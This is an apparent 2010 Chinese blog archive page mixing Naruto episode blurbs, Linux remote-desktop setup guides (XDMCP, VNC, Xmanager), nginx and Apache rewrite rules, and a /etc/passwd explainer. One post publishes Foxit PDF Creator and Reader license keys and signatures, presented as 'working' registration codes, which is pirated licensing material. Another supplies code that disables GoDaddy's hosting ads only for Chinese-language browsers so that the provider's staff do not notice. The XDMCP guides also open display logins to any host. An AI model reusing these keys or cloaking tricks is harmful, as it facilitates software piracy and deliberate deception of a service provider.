在线动漫视频[火影忍者]Naruto第399集「负责人上忍 旗木卡卡西」抢新版

2010年9月30日星期四 | | 1 评论 |

最新动漫视频[火影忍者]Naruto 第399集「负责人上忍 旗木卡卡西」抢新版 在线观看

中文字幕 - 火影在线观看 - 实时更新 - 精彩不断


[火影忍者]Naruto 第399集「负责人上忍 旗木卡卡西」 剧情介绍:

与佩恩一战结束后,在火之国的大名殿内,开展了木叶复兴会议。在大名面前集结了团藏、鹿久等重要人物,有人提出应由团藏代替纲手成为新的火影。。。
另一方面,在木叶村,卡卡西和鸣人去看望纲手。鸣人十分担心意识不明的纲手。而看着纲手的侧脸,卡卡回忆起了第七班成立之前的一件小事。




火影忍者 火影忍者 中文网 :http://naruto-cn.1ve.info

我们一直在努力, 用心做好您心目中最好的 : 火影忍者Naruto中文网
naruto, 在线动漫, 鸣人, 佐助, 火影忍者, 动漫视频,在线观看,在线视频

[linux]介绍Linux远程桌面之Xmanager

2010年9月19日星期日 | | 0 评论 |

Linux远程桌面 之 Xmanager

1、利用Xmanager,linux启用XDMCP协议(可直接修改配置文件,也可以采用在Xshell中运行gdmconfig或
      gdmsetup,选择XDMCP选项卡,勾选启动XDMCP即可),Xbrowser即可发现linux主机, 以图形化方式访问linux,这样您就可以像操作WINDOWS一样操作桌面了。
       Linux远程桌面2006年11月23日 星期四 11:24Linux远程桌面这里我要说的不是telnet,rsh之类的远程控制工具,而是指远程控制桌面应用.
  X window比MS windows先进的地方是,X window是个基于网络的的图形视窗系统,本身就具有远程控制的强大功能.用户在远程系统上登录执行X 应用程序,并将Xclients执行的结果传回本地主机.这就是我下面要介绍的Remote X
  一、Remote X
  假设本地主机ip为172.16.1.1,远程的主机ip为172.16.1.2
  第一步,在本地主机上的任意一个xterm中执行xhost,用来允许远程的其它主机可以和本地主机的X server联网:
  xhost + 172.16.1.2
  如果不指定任何ip地址,则表示权限完全放开,这会带来安全问题,要小心!
  第二步,确认本地主机的xfs是运行的.用ps检查一下进程.
  第三步,从本地主机(172.16.1.1)上通过网络登录到远程主机172.16.1.2上,你用telnet,ssh,rsh都可以.设置DISPLAY变量.
  export DISPLAY=172.16.1.1:0
  第四步,现在可以使用远程主机上的X 应用程序了.
  这么样,很方便吧,但是你还不能掌控整个桌面环境,这个工作就交给vnc吧!Remote X 在局域网上运行效果很不错,普通的电话拨号就不用试了,速度太慢了。
  二、vnc
  我相信有不少人在windows环境用过pcanywhere,但你想不想用一个免费的,可以在linux,win9x/nt上都可以使用的pcanywhere,这就是vnc.
  vnc就是vitual network computing的缩写,它支持许多操作平台,甚至可在浏览器中操作.
  我主要介绍vncviewer的用法,以及用linux远程控制linux或nt.
  vnc client通过架构在tcp/ip上的vnc协议与vnc server沟通,通过认证后,把X server的桌面环境,输入设备,和X 资源交给vncserver掌控,vnc server将桌面环境通过vnc 协议送给vnc client端.让vnc client来操纵vnc server桌面环境和输入设备.
  首先下载到vnc的linux版本和windows版本.
  当前的linux版本是vnc-3.3.3r1_x86_linux_2.0.tgz
  当前的windows版本是vnc-3.3.3r7_x86_win32.zip
1.安装linux版的vnc
  (1)安装
  tar zxvf vnc-3.3.3r1_x86_linux_2.0.tgz
  cd vnc_x86_linux_2.0
  cp *vnc* /usr/local/bin/
  mkdir /usr/local/vnc
  cp -r classes/ /usr/local/vnc/
  (2)设置vnc server的访问密码
  vncpasswd
  (3)启动vnc server
  vncserver
  注意运行后显示的信息,记下所用的端口号,一般从1开始,因为0被x server占用了.现在,你就能提供vnc服务了.vnc client的用法等会介绍.
  2、安装nt版的vnc
  1)安装
  解开vnc-3.3.3r7_x86_win32.zip包后,会产生 winvnc和vncviewer两个目录.winvnc目录中是vnc server的安装程序,vncviewer目录中是vnc client的安装序.我只关心vnc server,在winvnc目录中执行setup即可.
  2)设置
  首先执行install default registry settings.
  run winvnc(app mode)就是执行vnc server
  这时可看到winvnc运行的小图标,用鼠标右键点击图标,在properties/incoming connections中设定密码.默认配置即可.
  现在,你的nt就能提供vnc服务了.
  3、使用vncviewer
  vnc server启动成功后,你就可用vncviewer来远程控制桌面了.
  vncviewer xxx.xxx.xxx.xxx:display number
  例如,vncviewer 172.16.1.2:1
  按要求输入密码就可以看到远程的桌面了.
  注意:viewers需要在16位色的显示模式下工作,如果您的操作系统中没上16位色,那么请您及时的调整您计算机的显示模式。不然vncviewer无法正常工作。
  4、linux版vnc server的改进.
  linux上的vnc server内定的桌面管理环境是twm,实在是太简陋了.
  修改$HOME/.vnc/xstartup这个文件.
  把所有内容的行前加上#,再在接尾部份加上:
  startkde &
  你当然可用你喜好的桌面代替.我这是用kde来代替twm,速度会慢少少,但用起来方便不少.
  注意要重新启动vnc server.
  5、通过浏览器使用vnc
  通过浏览器使用vnc,要注意端口号的变化.
  假设vnc server是172.16.1.2:1的话,那么,可用浏览器访问http://172.16.1.2:5801
  端口号=display number + 5800
  好了,心动不如行动,just do it !
=====================================================
随着互联网的高速发展以及Linux企业应用的成熟,Linux被广泛应用于服务器领域,如何实现Linux的远程管理成为网络管理员的首要任务。我们经常见到的几种最为常用的windows下远程管理L
inux 服务器的方法,基本上都是利用SecureCRT,F-Secure SSH 抑或是PUTTY等客户端工具通过ssh服务来实现Windows下管理Linux服务器的,这些客户端工具几乎不需要什么配置,使用简单,但是它们都无法启动窗口服务的程序或进程,也无法达到远程桌面控制。本文将介绍通过xmanager远程桌面控制Linux的方法和技巧。本文中所指的Linux系统,如无特别说明都以RedHat 9.0为例。
有两种方法可以实现远程管理Linux桌面窗口,其中一个就是是我们所选择的 X显示管理器(X display manager)或者说xdm,另一个流行的解决方案是vnc。我选择xdm而不是vnc出于两点原因。第一,vnc要有个服务端的守护进程,为每个共享的桌面运行。第二,我已经有X服务器的软件安装在所有的工作站上,不想再添加额外的客户端软件了。
我们先来了解一些X系统方面的知识,X是用在大多数UNIX系统中的图形支持系统。如果你在你的Linux机器上使用GNOME或者KDE的话,你就正在使用X系统。它由X联盟(www.X.org)定义并维护。大多数的Linux用户使用的都是由XFree86 项目 (www.xfree86.org)提供的X Window系统的实现。xdm 是一个显示管理器,提供了灵活的任务管理功能。然而xdm通常被认为是"GUI的登陆屏幕,可以自动启动我的X任务",我们会看到实际上它要更为强大。
xdm 使用X联盟的X显示管理控制协议,即XDMCP,来和X服务器通信。它允许X服务器从运行xdm服务的服务器上获得会话服务。
当使用xdm管理这些X任务的时候在设置上有些复杂。但设置xdm 可以得到本地的和其他服务器上的桌面了。我们下面将介绍服务器上配置xdm的方法和步骤,这里描述的配置允许任何的 XDMCP 客户访问 Linux 服务器桌面环境(当然了影响了X的安全)。
第一步,我们在Linux系统下,修改/etc/X11/xdm/Xaccess文件,找到下面的语句:# * #any host can get a login window
去掉最前面的#号,成为 * #any host can get a login window
第二步,我们修改/etc/X11/gdm/gdm.conf文件,找到下面的语句:
[xdmcp]
# Distribution : Ship with this off. It is never a safe thing to leave
# out on the net. Alternatively you can set up /etc/hosts.allow and
# /etc/hosts.deny to only allow say local access.
Enable = false
将其中的Enable=false 改为Enable=true 或 Enable=1。
同时我们要确保存在下面的语句,因为177端口是我们要配置的xdmcp服务的监听端口,我们在后面配置xmanager将看到。
# The port. 177 is the standard port so better keep it that way
Port = 177
第三步,我们要修改/etc/inittab文件,将下面的语句
id:3:initdefault:
改为如下,如果原来就是id:5:initdefault:就不用更改。
同时,找到如下图文字所在的地方,
# Run xdm in runlevel 5
x:5:respawn: /etc/X11/prefdm -nodaemon
将它修改为x:5:respawn:/usr/bin/gdm,即如下图所示,
第四步,我们修改/etc/X11/xdm/xdm-config的最后一行,在displayManager.requestPort:0前面加上一个!号,结果如下
! SECURITY: do not listen for XDMCP or Chooser requests
! Comment out this line if you want to manage X terminals with xdm
! DisplayManager.requestPort:     0
第五步,我们修改确保/etc/X11/xdm/Xservers的属性为444,/etc/X11/xdm/Xsetup_0的属性为755,在RedHat 9.0中,我们可以看到这两个文件默认的属性就是444和775,因此不用修改。
-r--r--r-- 1 root root   487 Dec 10 2004 Xservers
-rwxr-xr-x 1 root root   935 Oct 21 2004 Xsetup_0
最后,如果我们的Linux机器配置有防火墙,为防止防火墙将通过177端口(即xdmcp服务)的数据过虑,我们必须加上如下的规则:
   iptables -A INPUT -p udp -s 0/0 -d 0/0 --dport 177 -j ACCEPT
至此为止,我们在Linux下的配置xdm已经基本完成。但上面这些配置还只是x服务器端的配置,我们要想实现在Windows远程桌面控制Linux,还必须要
有Windows下的客户端工具,xmanager正是这样的一个工具,它是一个简单易用的高性能的运行在Windows平台上的 X Server 软件。我们现在来介绍xmanager的在Windows下的安装和配置技巧,这里我使用的机器是windows xp。
我们先下载xmanager的安装文件,我下载的是 xmanager1.3.9,安装后,在安装目录下,我们点击xconfig,选择xdm,如下图,选择"XDM Indirect",在 host:后面填上我们已经配置好的Linux系统的ip,注意下面的XDMCP Port:177, 这就是我们在配置Linux服务器时必须保证 port=177的原因。
====================================================
XManager系统配置简介
服务器:Red Hat Linux
终端:Xmanager 1.3.9
 
使用方法:
 服务器上操作:
-------------------------------------------------------------------------
1.修改X字体服务器脚本: /etc/rc.d/init.d/xfs , 改变端口 ,
       daemon xfs -droppriv -daemon -port -1
     改成:
       daemon xfs -droppriv -daemon -port 7100
-------------------------------------------------------------------------
2. 修改 /etc/X11/xdm/Xaccess,将下面的行:
#* # any host can get a login window
改为:
* # any host can get a login window
------------------------
3. 修改/etc/X11/gdm/gdm.conf,找到下面的信息:
[xdmcp]
Enable=0 或Enable=false
修改为:
[xdmcp]
Enable=1 或Enable=true
并确保以下信息存在:
Port=177
------------------------
4: 修改/etc/inittab,将
id:3:initdefault:
修改为:
id:5:initdefault:
并将最后一行改为:
#red hat
x:5:respawn:/usr/bin/gdm -nodaemon
#red hat A3(企业版)
x:5:respawn:/usr/bin/gdm-binary -nodaemon
-------------------------
5:修改 /etc/X11/XServers ,加入下面几行取得4个xdm 登录(X DisplayManager)或者
      gdm(GNOME X display manager)
进程,可以允许四个不同用户登录,当然你可以允许更多
      用户 .
                :0 A local /usr/X11R6/bin/X :0
                :1 B local /usr/X11R6/bin/X :1
                :2 C local /usr/X11R6/bin/X :2
                :3 D local /usr/X11R6/bin/X :3
#以上设置可以多个Client访问
-------------------------------------------------------------------
6: 确保/etc/X11/xdm/Xservers的属性为444,/etc/X11/xdm/Xsetup_0的属性为755。
-------------------------
7.修改   /etc/X11/XF86Config ,改:
       FontPath    "unix:-1"
      到:
       FontPath    "unix:7100"
8.修改防火墙配置文件/etc/sysconfig/ipchains (iptables),在文件头部加入如下内容, 
# If you want to use GNOME/KDE, add the following line.
-A input -p udp -s 0/0 -d 0/0 177 -j ACCEPT
9. 重新启动RedHat Linux
好了,到此Server端告一段落,restart后如果出现下列错误:
   _ FontTransSocketUNIXConnect: Can't connect: errno = 111
              failed to set dafault font path 'unix:-1'
              Fatal server error:
              could not open default font 'fixed'
则在/etc/X11/XF86Config加入以下行:
FontPath "/usr/lib/X11/fonts/75dpi/"
                FontPath "/usr/lib/X11/fonts/misc/"
                FontPath "/usr/lib/X11/fonts/CID"
                FontPath "/usr/lib/X11/fonts/Speedo"
                FontPath "/usr/lib/X11/fonts/100dpi"
 
服务器:FreeBSD
终端:Xmanager 1.3.9
使用方法:
服务器上操作:
-----------------------
1. /usr/X11R6/lib/X11/xdm/xdm-config
注释掉这句:
!DisplayManager.requestPort: 0
-----------------------
2. /usr/X11R6/lib/X11/xdm/Xservers
注释掉这句:
#:0 local /usr/X11R6/bin/X
-----------------------
3. /usr/X11R6/lib/X11/xdm/Xaccess
把这句的注释去掉:
* #any host can get a login window
-----------------------
4. /etc/ttys中
修改如下:
ttyv8 "/usr/X11R6/bin/xdm -nodaemon" xterm on secure
-------------------------------
服务器:SunOS
终端:Xmanager 1.3.9
使用方法:
服务器上操作:
------------------
由于服务器默认启动xdm,无需更改
------------------
以上,终端连接的时候,可以使用xbrowser直接输入ip地址进行连接!
服务器:Red Hat Linux
终端:Xmanager 1.3.9
使用方法:
 
服务器上操作:
------------------------
1. 修改 /etc/X11/xdm/Xaccess,将下面的行:
#* # any host can get a login window
改为:
* # any host can get a login window
------------------------
2. 修改/etc/X11/gdm/gdm.conf,找到下面的信息:
[xdmcp]
Enable=0 或Enable=false
修改为:
[xdmcp]
Enable=1 或Enable=true
并确保以下信息存在:
Port=177
------------------------
3: 修改/etc/inittab,将
id:3:initdefault:
修改为:
id:5:initdefault:
并将最后一行改为:
x:5:respawn:/usr/bin/gdm
-------------------------
4: 确保/etc/X11/xdm/Xservers的属性为444,/etc/X11/xdm/Xsetup_0的属性为755。
-------------------------
服务器:FreeBSD
终端:Xmanager 1.3.9
使用方法:
服务器上操作:
-----------------------
1. /usr/X11R6/lib/X11/xdm/xdm-config
注释掉这句:
!DisplayManager.requestPort: 0
-----------------------
2. /usr/X11R6/lib/X11/xdm/Xservers
注释掉这句:
#:0 local /usr/X11R6/bin/X
-----------------------
3. /usr/X11R6/lib/X11/xdm/Xaccess
把这句的注释去掉:
* #any host can get a login window
-----------------------
4. /etc/ttys中
修改如下:
ttyv8 "/usr/X11R6/bin/xdm -nodaemon" xterm on secure
-------------------------------
服务器:SunOS
终端:Xmanager 1.3.9
使用方法:
服务器上操作:
------------------
由于服务器默认启动xdm,无需更改
------------------
以上,终端连接的时候,可以使用xbrowser直接输入ip地址进行连接!
=================================================================
设置xwindow可以支持如xmanager这样的工具远程登陆linux。设置如下:
#vi /etc/X11/xdm/xdm-config
在最后一行: DisplayManager.requestPort: 0 前面加!号注释掉此行。
#vi /etc/X11/xdm/Xservers
在最后一行::0 local /usr/X11R6/bin/X 前面加#号注释掉这一行。
#vi /etc/X11/xdm/Xaccess
找到#* #any host can get a login window
把这一行前面的#号去掉,变成:
* #any host can get a login window
最后运行#xdm。这样使用xmanager等工具就可以连接Linux了!!!
 
====================
快捷键:
GNOME
CTRL+B 书签
CTRL+D 复制粘贴
CTRL+F 查找
SHIFT+CTRL+F WEB查找
CTRL+I 显示属性页
CTRL+H 切换到HOME
CTRL+U 向上一级
CTRL+N 建立新文件夹
CTRL+O 打开
CTRL+W 关闭窗口
SHIFT+CTRL+W 关闭所有窗口
CTRL+= 放大
CTRL+- 缩小
CTRL+[ 返回
CTRL+] 向前
CTRL+T 放到垃圾筒
CTRL+R 刷新
CTRL+A 全选
KDE
CTRL+TAB 切换工作桌面
ALT+TAB 切换应用程序
ALT+F1 打开应用程序菜单
ALT+F2 打开命令窗口
ALT+F3 打开窗口菜单
ALT+F4 关闭窗口
F1 HELP
F2 在页面搜索
F3 在页面搜索下一个
SPACE 选中/取消选中文件
CTRL+N 打开文件管理器
CTRL+A 全选当前目录下的文件和目录
CTRL+T 在当前目录下打开一个终端
CTRL+W 关闭窗口
CTRL+F 搜索文件
CTRL+C 拷贝
CTRL+r 粘贴
 
----------------------------PS: Xmanager 几个注意点
 
1、利用Xmanager,linux启用XDMCP协议(可直接修改配置文件,也可以采用在Xshell中运行gdmconfig或 gdmsetup,选择XDMCP选项卡,勾选启动XDMCP即可),Xbrowser即可发现linux主机,以图形化方式访问linux,这样您就可以像操作WINDOWS一样操作桌面了。
 
2. Xmanager windows版中有个Xstart工具.相当于telnet 工具.经过以上配置完成之后,一般是可以使用的.
不过启动图形界面命令不是startx 而startkde.

参考:http://aben328.javaeye.com/blog/418702

在线动漫视频[火影忍者]Naruto 第398集「伊鲁卡的决意」 抢新版

2010年9月17日星期五 | | 0 评论 |

 

最新动漫视频[火影忍者]Naruto 第398集「伊鲁卡的决意」 抢新版 在线观看

中文字幕 - 火影在线观看 - 实时更新 - 精彩不断


[火影忍者]Naruto 第398集「伊鲁卡的决意」 剧情介绍:

在木叶的森林中,昨晚与他国侵入忍者间发生的战斗,现在森林还处于危险的状态之中。鸣人不知此情况为了成为同班同学的同伴,而前往森林中想要夺取忍者尸体的战利品。伊鲁卡马上追赶想要将他带回。但鸣人强烈抵抗,伊鲁卡看出鸣人的孤独,内心百感交集。这时,正在寻找同伴秘书的敌国忍者向鸣人和伊鲁卡发动了袭击。。。




火影忍者 火影忍者 中文网 :http://naruto-cn.1ve.info

我们一直在努力, 用心做好您心目中最好的 : 火影忍者Naruto中文网
naruto, 在线动漫, 鸣人, 佐助, 火影忍者, 动漫视频,在线观看,在线视频

[gg]Gmail技巧之过滤器的白名单功能

2010年9月16日星期四 | | 0 评论 |

Gmail过滤器的白名单功能

Gmail过滤器有了一个新的功能,就是"Never send it to Spam",这样,符合过滤条件的Email就不会因为符合spam的条件而被放入spam,这是一个特殊的白名单,这个白名单不仅仅是来信的email 地址,是对email白名单规则的一个拓展。

参考:http://www.kuqin.com/shuoit/20080731/12902.html

[version]软件sc tc 版本之间的区别

2010年9月15日星期三 | | 0 评论 |

区别如下:

SupeSite7.5_SC_GBK.zip 简体中文版
SupeSite7.5_SC_UTF8.zip 简体UTF8版
SupeSite7.5_TC_UTF8.zip 繁体UTF8版
SupeSite7.5_TC_BIG5.zip 繁体BIG5版

TC为繁体版,SC为简体版

 

[PDF]最新能用的Foxit PDF Creator注册码SN

2010年9月14日星期二 | | 0 评论 |

Foxit PDF Creator注册码
以下资源转自网络:
目前测试有效!于是分享!
-----文件为---- C:\WINDOWS\system32\spool\drivers\w32x86\3\pcrkey.txt -------------------
[Foxit License]
SN=PCRFZINT
Modules=
Users=10
Licensee=Foxit Software Internal
LicenseDate=2006/08/11
Sign=349AFC742821803EE5614BF1C39713F07B13464062FF6C48AE0F30AF7251DAEB67A85C886F96AAD7
FoxitReader3.0注册码和foxit pdf creator key
FoxitReader3.0注册码如下,文件名为:frpkey.txt
=========================================================================================
[Foxit Reader Pro]
SN=FRPFZ15343
Modules=
Users=1
Licensee=Peter Rainer
LicenseDate=2008/11/30
Sign=33251FE51AE556F76D2E71F39265062996214243491AC3901928A4D9F28972FD2A79E97E4FE51066
Restrictions=
=========================================================================================
foxit pdf creator key 如下,文件名为:pcrkey.txt
=========================================================================================
[Foxit License]
SN=PCRFZINT
Modules=
Users=10
Licensee=Foxit Software Internal
LicenseDate=2006/08/11
Sign=349AFC742821803EE5614BF1C39713F07B13464062FF6C48AE0F30AF7251DAEB67A85C886F96AAD7
 
[PDF Editor]
SN=PEDFZ10948
Modules=
Users=1
Licensee=Stephan Huck
LicenseDate=2007/09/13
Sign=96516D0E442783F1624B599CF4D06C5276E8256440D2F2DFBB5E01C5818F31634EF3B61F04E8EBDA
Restrictions=
 

[Linux]/etc/passwd(转载)[safe]

2010年9月13日星期一 | | 0 评论 |

/etc/passwd

通常在Linux系统中,用户的关键信息被存放在系统的/etc/passwd文件中,系统的每一个合法用户账号对应于该文件中的一行记录。这行记录定义了每个用户账号的属性。下面是一个passwd文件的示例(部分摘录):
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
......
desktop:x:80:80:desktop:/var/lib/menu/kde:/sbin/nologin
mengqc:x:500:500:mengqc:/home/mengqc:/bin/bash

在该文件中,每一行用户记录的各个数据段用":"分隔,分别定义了用户的各方面属性。各个字段的顺序和含义如下:

注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序
(1)注册名(login_name):用于区分不同的用户。在同一系统中注册名是惟一的。在很多系统上,该字段被限制在8个字符(字母或数字)的长度之内;并且要注意,通常在Linux系统中对字母大小写是敏感的。这与MSDOS/Windows是不一样的。

(2)口令(passwd):系统用口令来验证用户的合法性。超级用户root或某些高级用户可以使用系统命令passwd来更改系统中所有用户的口令,普通用户也可以在登录系统后使用passwd命令来更改自己的口令。
现在的Unix/Linux系统中,口令不再直接保存在passwd文件中,通常将passwd文件中的口令字段使用一个"x"来代替,将/etc /shadow作为真正的口令文件,用于保存包括个人口令在内的数据。当然shadow文件是不能被普通用户读取的,只有超级用户才有权读取。
此外,需要注意的是,如果passwd字段中的第一个字符是"*"的话,那么,就表示该账号被查封了,系统不允许持有该账号的用户登录。

(3)用户标识号(UID):UID是一个数值,是Linux系统中惟一的用户标识,用于区别不同的用户。在系统内部管理进程和文件保护时使用 UID字段。在Linux系统中,注册名和UID都可以用于标识用户,只不过对于系统来说UID更为重要;而对于用户来说注册名使用起来更方便。在某些特定目的下,系统中可以存在多个拥有不同注册名、但UID相同的用户,事实上,这些使用不同注册名的用户实际上是同一个用户。

(4)组标识号(GID):这是当前用户的缺省工作组标识。具有相似属性的多个用户可以被分配到同一个组内,每个组都有自己的组名,且以自己的组标识号相区分。像UID一样,用户的组标识号也存放在passwd文件中。在现代的Unix/Linux中,每个用户可以同时属于多个组。除了在 passwd文件中指定其归属的基本组之外,还在/etc/group文件中指明一个组所包含用户。

(5)用户名(user_name):包含有关用户的一些信息,如用户的真实姓名、办公室地址、联系电话等。在Linux系统中,mail和finger等程序利用这些信息来标识系统的用户。

(6)用户主目录(home_directory):该字段定义了个人用户的主目录,当用户登录后,他的Shell将把该目录作为用户的工作目录。在Unix/Linux系统中,超级用户root的工作目录为/root;而其它个人用户在/home目录下均有自己独立的工作环境,系统在该目录下为每个用户配置了自己的主目录。个人用户的文件都放置在各自的
主目录下。

(7)命令解释程序(Shell):Shell是当用户登录系统时运行的程序名称,通常是一个Shell程序的全路径名,
如/bin/bash。

需要注意的是,系统管理员通常没有必要直接修改passwd文件,Linux提供一些账号管理工具帮助系统管理员来创建和维护用户账号

 

[godaddy]买GODADDY域名送空间,去除GODADDY免费空间广告,删除GODADDY免费空间广告

| | 0 评论 |

买GD域名,都附送一个免费空间,就是广告太大了..在最顶上, 规格是 高90   宽 100%

注:不建议用GD免费空间用来做站。随便找个免费空间都比这空间做站强。

删除或屏蔽Godaddy免费空间的广告,有可能导至空间被删除,

不过,百度查了一下,太多删除这广告的贴了,但就是没有看到谁说空间被删除过.

不过,GD的免费空间,删除了可以再开,只是文件和数据会被失丢,如果你这么做了,记得常备份自己的数据库和文件.


Godaddy免费空间广告去掉屏蔽方法

使用Godaddy免费空间的代价,就是在每一个页面顶端都会加一个广告横幅。

  其实最初我对广告横幅是理解的,因为天下没有免费的午餐。但后来使用中发现两个大的问题:一是由于广告是在正常显示网页后,让正常页面下移腾出空间显示的。所以打开每个页面都会非常明显的感受到页面加载中的下移过程,让人非常不舒服。二是广告的载入速度非常慢,结合第一点,使网页显示完成大为延缓。

我不得不决定去广告,查看加广告后的网页代码,可以看到在末尾加上了一段Java语句:

< script language='javascript'
src='https://a12.alphagodaddy.com/hosting_ads/gd01.js'>
< /script>

Godaddy就是通过这段代码,在每一页加上广告的。

在网上搜索了一下,发现不少去广告的方法。


方法一:在页面最后加
<script>
可以完全去掉广告,在需要去广告的页面后面加该标记后,广告代码加入后就成为:
<script>
中间可以有非Java内容
< script language='javascript'
src='https://a12.alphagodaddy.com/hosting_ads/gd01.js'>
< /script>

  这就造成广告代码匹配出现错误,从而阻止了广告代码的执行。这种方法完全去除了广告的影响,可以大大提升页面显示速度,是目前最好的方法,我用的就是这一种。不足之处是可能导致空间被K,为了尽量避免其发生,建议保留部分页面的广告。


方法二:在文件结尾处加入
<noscript>
可以完全去掉广告。原理和方法一差不多,阻止后面的广告代码的执行,效果和可能导致的后果也完全一样。


方法三:文件的开头加入
<div style= "margin-top:-94" >
在末尾加入
</div >

这种方法是让页面顶端的部分内容不显示出来,由于顶端是加的广告,所以可以起到隐藏广告的作用。隐藏内容的高度为:94,可以修改-94的大小适应广告的高度直到隐藏广告。使用这种方法是隐藏广告不是删除广告,广告仍然存在只是看不到了,所以空间应该不会被K。不足之处是,广告仍然被载入,所以广告对页面显示速度的影响没有消除。

  我没有用过这种方法,不知道效果如何,但我分析想法是好的,用起来仍会非常不爽。因为不是一开始顶端显示的就是广告,广告是正常显示页面后,让正常页面下移腾出地方显示广告的。





安全去除"GODADDY免费空间广告"方法!!
GODADDY免费空间空间大,流量也大,就是有个广告很不爽,
但去掉了广告又怕被封,
我想我们的网站多数是面向国内的,多使用中文系统上网,GD管这些的应该少有用中文系统上网的,
因此,如果GODADDY的人访问你的网站,看见广告并没有去掉,那就肯定不被封了。
我想了是段PHP代码: if($_SERVER['HTTP_ACCEPT_LANGUAGE']=='zh-cn') echo '<noscript>';
复制代码只要加在PHP的文件最后就可以达到目的了。

也可以在网页最后加入以下JS代码,也是同样的效果:

<script>

if(navigator.browserLanguage=='zh-cn')

document.write('<noscript>');//creat by
</script>

复制代码


以上这段代码,是   如果当前浏览器的语言是 中文,就写入 <noscript> 也就是禁止 后面的代码.
如果是英文,就接着执行.. 所以这段代码我们看不到效果,因为我们的浏览器都是中文..

中文浏览器测试通过,英文还没测试

[win-nginx]APMServ的rewrite配置

| | 0 评论 |

装了张宴的APMServ,发现rewrite功能不能用,查了一下,原来需要修改

E:\APMServ5.2.6\Apache\conf\httpd.conf 文件

找到你所在的虚拟目录修改以下这个地方(如果你有配置虚拟主机的话应修改E:\APMServ5.2.6\Apache\conf\apmserv\vhost.conf 文件)

找到

AllowOverride None

改成

AllowOverride Options FileInfo

重启Apache服务即可

From: http://www.crazylemon.net/apache/1904.html

[Nginx]Nginx的UrlRewrite配置说明

| | 0 评论 |

Nginx的Rewrite
经过网上查阅和测试,发现Nginx的Rewrite规则和Apache的Rewite规则差别不是很大,几乎可以直接使用。比如在Apache中这样写规则
rewriterule ^/([0-9]{5}).html$ /viewthread.php?tid=$1 last;
而在Nginx中写成这样写是无法启动的,解决的办法是加上两个双引号:
rewrite "^/([0-9]{5}).html$" /viewthread.php?tid=$1 last;
同时将RewriteRule为Rewrite,基本就实现了Nginx的Rewrite规则到Apache的Rewite规则的转换。

Rewrite的Flags
last – 基本上都用这个Flag。
break – 中止Rewirte,不在继续匹配
redirect – 返回临时重定向的HTTP状态302
permanent – 返回永久重定向的HTTP状态301

官方文档请点击这里,

http://wiki.codemongers.com/NginxHttpRewriteModule

另外如果对于302,301这些状态有疑问的,可以参考
《301 Redirect 永久重定向的实现》
http://www.ccvita.com/85.html
如果需要对Nginx配置防盗链的话,可以参考
《Nginx的防盗链配置》
http://www.ccvita.com/312.html

Discuz!在Nginx下的Rewrite
需要说明的是,下网上以前一直流传的Rewrite都是有误的。
下面的Rewrite中百分号前面多了个转移字符"\",这在Apache中是需要的,而在Nginx中则是不需要的。
rewrite ^/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ /viewthread.php?tid=$1&extra=page\%3D$3&page=$2 last;
正确的应该是
rewrite ^/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ /viewthread.php?tid=$1&extra=page%3D$3&page=$2 last;
这个错误在基本上目前所有使用Nginx作为服务器,并且开启了Rewrite的网站上存在。包括Discuz!官方,目前已经给cnteacher反馈了。

完整正确的Discuz!在Nginx下的Rewrite如下:
rewrite ^/archiver/((fid|tid)-[\w\-]+\.html)$ /archiver/index.php?$1 last;
rewrite ^/forum-([0-9]+)-([0-9]+)\.html$ /forumdisplay.php?fid=$1&page=$2 last;
rewrite ^/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ /viewthread.php?tid=$1&extra=page%3D$3&page=$2 last;
rewrite ^/space-(username|uid)-(.+)\.html$ /space.php?$1=$2 last;
rewrite ^/tag-(.+)\.html$ /tag.php?name=$1 last;
break;

[rewrite]osCommerce 在 nginx 上的 rewrite 规则

| | 0 评论 |

osCommerce 在 nginx 上的 rewrite 规则

-----------------------  Bof Code ------------------------
location / {
 if (!-e $request_filename)
 {
rewrite "^(.*)-p-(.*).html" /product_info.php?products_id=$2%1;
rewrite "^(.*)-p-(.*).html" /product_info.php?products_id=$2&% last;
rewrite "^(.*)-c-(.*).html" /index.php?cPath=$2&% last;
rewrite "^(.*)-m-(.*).html" /index.php?manufacturers_id=$2&% last;
rewrite "^(.*)-pi-(.*).html" /popup_image.php?pID=$2&% last;
rewrite "^(.*)-t-(.*).html" /articles.php?tPath=$2&% last;
rewrite "^(.*)-au-(.*).html" /articles.php?authors_id=$2&% last;
rewrite "^(.*)-a-(.*).html" /article_info.php?articles_id=$2&% last;
rewrite "^(.*)-pr-(.*).html" /product_reviews.php?products_id=$2&% last;
rewrite "^(.*)-pri-(.*).html" /product_reviews_info.php?products_id=$2&% last;
rewrite "^(.*)-i-(.*).html" /information.php?info_id=$2&% last;
rewrite "^(.*)-pm-([0-9]+).html" /info_pages.php?pages_id=$2&% last;
rewrite "^(.*)-links-(.*).html" /links.php?lPath=$2&% last;
rewrite "^(.*)-n-(.*).html" /newsdesk_info.php?newsdesk_id=$2&% last;
rewrite "^(.*)-nc-(.*).html" /newsdesk_index.php?newsPath=$2&% last;
rewrite "^(.*)-nri-(.*).html" /newsdesk_reviews_info.php?newsdesk_id=$2&% last;
rewrite "^(.*)-nra-(.*).html" /newsdesk_reviews_article.php?newsdesk_id=$2&% last;
rewrite "^(.*)-f-(.*).html" /faqdesk_info.php?faqdesk_id=$2&% last;
rewrite "^(.*)-fc-(.*).html" /faqdesk_index.php?faqPath=$2&% last;
rewrite "^(.*)-fri-(.*).html" /faqdesk_reviews_info.php?faqdesk_id=$2&% last;
rewrite "^(.*)-fra-(.*).html" /faqdesk_reviews_article.php?faqdesk_id=$2&% last;
 }
}

-----------------------  Eof Code ------------------------

相应的apache为:

-----------------------  Bof Code ------------------------
RewriteRule ^(.*)-p-(.*).html$ product_info.php?products_id=$2%1
RewriteRule ^(.*)-p-(.*).html$ product_info.php?products_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-c-(.*).html$ index.php?cPath=$2&%{QUERY_STRING}
RewriteRule ^(.*)-m-(.*).html$ index.php?manufacturers_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-pi-(.*).html$ popup_image.php?pID=$2&%{QUERY_STRING}
RewriteRule ^(.*)-t-(.*).html$ articles.php?tPath=$2&%{QUERY_STRING}
